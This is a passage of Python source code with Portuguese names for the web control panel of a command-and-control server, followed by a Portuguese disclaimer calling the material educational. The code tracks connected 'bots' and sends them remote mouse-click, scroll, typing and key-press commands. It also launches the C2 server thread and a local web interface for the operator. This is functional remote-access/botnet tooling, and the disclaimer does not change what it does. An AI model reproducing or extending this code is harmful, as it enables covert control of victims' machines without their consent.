        enviar_comando_para_bot(info_bot["socket"], 0x01, command)
 
@socketio.on('interaction')
def tratar_interacao(dados):
    bot_id = int(dados['bot_id'])
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]
 
    if info_bot and info_bot["ativo"]:
        tipo_interacao = dados['type']
        cmd_str = ""
        if tipo_interacao == 'CLICK': cmd_str = f"CLICK:{dados['x']},{dados['y']}"
        elif tipo_interacao == 'SCROLL': cmd_str = f"SCROLL:{dados['delta']}"
        elif tipo_interacao == 'TYPE': cmd_str = f"TYPE:{dados['key']}"
        elif tipo_interacao == 'KEY_PRESS': cmd_str = f"KEY_PRESS:{dados['key']}"
 
        if cmd_str:
            enviar_comando_para_bot(info_bot["socket"], 0x01, cmd_str)
 
def sair_graciosamente(sig, frame):
    global executando
    print("\n[!] Finalizando...")
    executando = False
    os._exit(0)
 
if __name__ == "__main__":
    signal.signal(signal.SIGINT, sair_graciosamente)
    
    threading.Thread(target=iniciar_servidor_c2, daemon=True).start()
    socketio.start_background_task(target=background_updater)
    
    print(f"[*] Interface de Controle Web em http://127.0.0.1:{PORTA_WEB}")
    socketio.run(app, host='127.0.0.1', port=PORTA_WEB, allow_unsafe_werkzeug=True)

Aviso de ética e responsabilidade

Este conteúdo é exclusivamente educacional e foi desenvolvido com o objetivo de demonstrar conceitos técnicos aplicados à segurança da informação. As técnicas, ferramentas e exemplos apresentados têm finalidade didática e são voltados para uso em ambientes controlados, laboratórios autorizados ou testes de segurança com permissão explícita.

O autor deste material não incentiva, autoriza ou se responsabiliza por qualquer uso indevido, ilegal ou mal-intencionado das informações aqui demonstradas. A reprodução ou aplicação prática dos conteúdos fora de um contexto ético e legal pode constituir crime, de acordo com a legislação vigente.

Ao acessar ou utilizar este material, você assume total responsabilidade por suas ações e declara compreender que todo conhecimento de segurança ofensiva deve ser usado com consciência, integridade e respeito à privacidade, à propriedade e à lei.